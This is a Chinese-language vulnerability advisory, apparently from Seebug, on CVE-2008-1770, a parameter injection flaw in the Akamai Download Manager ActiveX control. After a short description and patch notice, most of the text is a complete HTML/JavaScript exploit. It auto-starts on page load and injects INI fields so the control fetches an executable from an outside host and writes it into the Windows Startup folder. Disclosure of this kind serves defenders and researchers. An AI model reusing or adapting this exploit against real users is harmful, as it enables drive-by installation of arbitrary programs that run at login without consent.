Akamai下载管理器参数注入漏洞

2008-06-0600:00:00

Root

www.seebug.org

0.139 Low

EPSS

Percentile

95.1%

JSON

CVE(CAN) ID: CVE-2008-1770

Akamai下载管理器是用于帮助用户方便下载的客户端软件。

Akamai的ActiveX控件在处理参数数据时存在漏洞，远程攻击者可能利用此漏洞在用户系统的任意地方写入文件。

当用户从http://dlm.tools.akamai.com/tools/upgrade.html 下载安装Akamai下载管理器ActiveX控件时，其参数设置为：

&lt;PARAM name=&quot;URL&quot; value=&quot;http://dlm.tools.akamai.com/tools_files/Readme.txt&quot;&gt;

然后设置URL值。但如果向URL注入其他字符的话，也可以正确的解析，例如：

由于ActiveX所设置的参数值以INI文件格式保存在临时文件中，上述方式会改变referer值。

此外，使用了target参数设置下载文件的位置，含义如下：

&quot;DESKTOP&quot;         将文件保存到桌面
&quot;AUTO&quot;             将文件保存到临时Internet文件中
&quot;&quot;             询问用户选择保存位置

正常情况下target值只能设置为以上三个值，其他值会被过滤掉。但如果通过参数注入将该值设置为有效的文件路径的话，就可以任意设置target，Akamai下载管理器会未经用户交互直接将目标文件下载到用户系统的任意位置

Akamai Download Manager < 2.2.3.6
Akamai

目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

<a href=“http://dlm.tools.akamai.com/tools/upgrade.html” target=“_blank”>http://dlm.tools.akamai.com/tools/upgrade.html</a>


                                                &lt;html&gt;


&lt;!--

/**********************************************************************************
Exploit start here, by cocoruder(frankruder_at_hotmail.com)
For &quot;Akamai Download Manager File Download To Arbitrary Location Vulnerability&quot;.

This exploit will download &quot;http://ruder.cdut.net/attach/calc.exe&quot; to &quot;C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\calc_run.exe&quot;.
***********************************************************************************/



DLM: v2.2.3
Received: ActiveX, v2.2.3.5
Reason: MSIE 6
Language: en (Automatically detected)


--&gt;

&lt;head&gt;

&lt;!-- Begin head fragment --&gt;




&lt;title&gt;Download Manager&lt;/title&gt;
&lt;script TYPE=&quot;text/javascript&quot; LANGUAGE=&quot;javascript&quot;&gt;
window.resizeTo(500,510);
&lt;/script&gt;



&lt;!-- End head fragment --&gt;

&lt;script language=&quot;JavaScript&quot;&gt;

var bDocReady = false;
var bInsObj = false;
var isLinux = (navigator.userAgent.indexOf(&quot;Linux&quot;) &gt;= 0);
var isMacFF = (navigator.userAgent.indexOf(&quot;Firefox&quot;) &gt;= 0 &amp;&amp; navigator.userAgent.indexOf(&quot;Mac&quot;) &gt;= 0);
var isSafari = (navigator.userAgent.indexOf(&quot;Safari&quot;) &gt;= 0);
var isSolaris = (navigator.userAgent.indexOf(&quot;Sun&quot;) &gt;= 0);
var isWinFF = (navigator.userAgent.indexOf(&quot;Firefox&quot;) &gt;= 0 &amp;&amp; navigator.userAgent.indexOf(&quot;Windows&quot;) &gt;= 0);
var isIE7 = (navigator.userAgent.indexOf(&quot;MSIE 7&quot;) &gt;= 0);

function doLoad() {

// Start automatically
setTimeout(&quot;startDLM();&quot;, 1000);

return;
}




var bdmIsReady = false;
var bDMStarted = false;
var bDMFailed = false;
var bShutdown = false;

var startTries = 0;

function closeIt() {
if (isIE7) {
return;
}

if (bDMStarted &amp;&amp; !bShutdown) {
event.returnValue = &quot;The Download Manager is still running.\n&quot;
&quot;Pressing 'OK' will stop any active downloads and close the Download Manager.&quot;;
}
}



&lt;/script&gt;


&lt;noscript&gt;&lt;meta http-equiv=&quot;Refresh&quot; c /&gt;&lt;/noscript&gt;


&lt;/head&gt;

&lt;body &gt;

&lt;!-- Begin body fragment --&gt;





&lt;table cellpadding=&quot;10&quot; cellspacing=&quot;0&quot; border=&quot;0&quot;&gt;
&lt;tr&gt;&lt;td&gt;
&lt;strong&gt;About the Download Manager&lt;/strong&gt;&lt;br&gt;
&lt;p&gt;The Download Manager provides for more effective, more efficient file downloads than you normally see with your browser, especially for large files or file sets. It can pause and restart downloads even if you turn your computer off and on again. You will be presented with a security warning and after you accept, the Download Manager will install and begin to download the requested file.&lt;/p&gt;
&lt;p&gt;Should the Download Manager fail to start, or if you do not accept the security certificate, you can &lt;a href=http://dlm.tools.akamai.com/tools_files/Readme.txt&gt;click here&lt;/a&gt; to download the file without using the download manager.&lt;/p&gt;&lt;p/&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;




&lt;!-- End body fragment --&gt;

&lt;DIV ID=&quot;objectDIV&quot;&gt;&lt;/DIV&gt;

&lt;script language=&quot;JavaScript&quot;&gt;




// Initiate shutdown
function doDLMShutdown() {
if (bShutdown) {
return;
}

bShutdown = true;
window.opener = null;
window.close();
}


// Initiate the download
function doStart() {
startTries ;
if (startTries &gt; 120) {
bDMFailed = true;
return;
}

try {
var dm = document.getElementById(&quot;dm&quot;);
if (dm == null) {
bDMFailed = true;
return;
}
dm.detachEvent(&quot;DLMShutdown&quot;, doDLMShutdown);
dm.attachEvent(&quot;DLMShutdown&quot;, doDLMShutdown);


dm.StartDownload();

bDMStarted = true;
} catch (e) {
bDMStarted = false;
if (e.description != &quot;object Error&quot;) {
bDMFailed = true;
}
}
}

// Start the DLM
function startDLM() {

//alert(&quot;pause&quot;);

if (bDocReady) {
insertObj();
if (bdmIsReady) {
doStart();
}
}

if (bDMFailed) {
// Don't try to go direct, since this happens by
// default on XP SP2 and above.
return;
}

if (!bDMStarted) {
setTimeout(&quot;startDLM();&quot;, 500);
}
}

// Check if the DM object is fully loaded
function dmReady() {
var dm = document.getElementById(&quot;dm&quot;);
if (dm == null) {
bDMFailed = true;
return;
}

if (dm.readyState == 4) {
bdmIsReady = true;
}
}


// Check if the document is fully loaded
function docReady() {
if (document.readyState == &quot;complete&quot;) {
bDocReady = true;
} else {
bDocReady = false;
}
}

// Insert the code to create the DM object
function insertObj() {
// Only insert the object once
if (!bInsObj) {
bInsObj = true;

// Create object tag


var sObjHTML = &quot;&lt;object id=\&quot;dm\&quot; classid=\&quot;CLSID:4871A87A-BFDD-4106-8153-FFDE2BAC2967\&quot; CODEBASE=\&quot;http://dlm.tools.akamai.com/dlmanager/versions/activex/dlm-activex-2.2.3.5.cab#Version=2,2,3,5\&quot; width=1 height=1&gt; &quot;
&quot; &lt;PARAM name=\&quot;logging\&quot; value=\&quot;1\&quot;/&gt; &quot;

&quot; &lt;PARAM name=\&quot;version\&quot; value=\&quot;2.2.3\&quot;/&gt; &quot;



/**********************************************************************************
Exploit start here, by cocoruder(frankruder_at_hotmail.com)
For &quot;Akamai Download Manager File Download To Arbitrary Location Vulnerability&quot;.

This exploit will download &quot;http://ruder.cdut.net/attach/calc.exe&quot; to &quot;C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\calc_run.exe&quot;.
***********************************************************************************/

&quot; &lt;PARAM name=\&quot;URL\&quot; value=\&quot;http://ruder.cdut.net/attach/calc.exe\x0Areferer=http://ruder.cdut.net\x0Amd5=\x0Atarget=C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\calc_run.exe\x0AlogoURL=\x0AiconURL=\x0AproviderName=\x0Alaunch=\x0AcloseWhenDone=yes\x0Aresumable=\x0AdisregardQryStr=\x0AmaxCon=4\x0AinitialView=summary\x0AxPos=100\x0AyPos=100\x0Aicon=true\x0Aencrypt=\x0Alogging=1\x0AfgColor=\x0AbgColor=\x0ArecoveryUrl=http://dlm.tools.akamai.com/Readme.txt\x0AflushSize=32\x0Alanguage=en\x0AuseMD5=\x0AuseStateReporting=1\x0AbundleDetails=\x0AbundleEnabled=\x0ArequestSize=1024\x0AswooshEnabled=\x0AswooshInstall=\x0Acookie=\&quot;/&gt; &quot;



&quot; &lt;PARAM name=\&quot;recoveryURL\&quot; value=\&quot;http://dlm.tools.akamai.com/Readme.txt\&quot;/&gt; &quot;
&quot; &lt;PARAM name=\&quot;language\&quot; value=\&quot;en\&quot;/&gt; &quot;
&quot; &lt;PARAM name=\&quot;providerName\&quot; value=\&quot;\&quot;/&gt; &quot;
&quot; &lt;PARAM name=\&quot;maxCon\&quot; value=\&quot;4\&quot;/&gt; &quot;
&quot; &lt;PARAM name=\&quot;maxConn\&quot; value=\&quot;4\&quot;/&gt; &quot;
&quot; &lt;PARAM name=\&quot;requestSize\&quot; value=\&quot;1024\&quot;/&gt; &quot;
&quot; &lt;PARAM name=\&quot;flushSize\&quot; value=\&quot;32\&quot;/&gt; &quot;


&quot; &lt;PARAM name=\&quot;initialView\&quot; value=\&quot;summary\&quot;/&gt; &quot;



&quot; &lt;PARAM name=\&quot;icon\&quot; value=\&quot;true\&quot;/&gt; &quot;






&quot; &lt;PARAM name=\&quot;launch\&quot; value=\&quot;no\&quot;/&gt; &quot;


&quot; &lt;PARAM name=\&quot;closeWhenDone\&quot; value=\&quot;no\&quot;/&gt; &quot;







&quot;&lt;/object&gt; &quot;;


objdiv = document.getElementById(&quot;objectDIV&quot;);
if (objdiv == null) {

document.location.replace(&quot;http://dlm.tools.akamai.com/tools_files/Readme.txt&quot;);

return;
}



objdiv.innerHTML = sObjHTML;

if (dm == null) {
bDMFailed = true;
}

// Set up handler for DM readystate change
dm.onreadystatechange = dmReady;
dmReady();



}
}



// Set up handler for document readystate change
document.onreadystatechange = docReady;



&lt;/script&gt;

&lt;/body&gt;

&lt;/html&gt;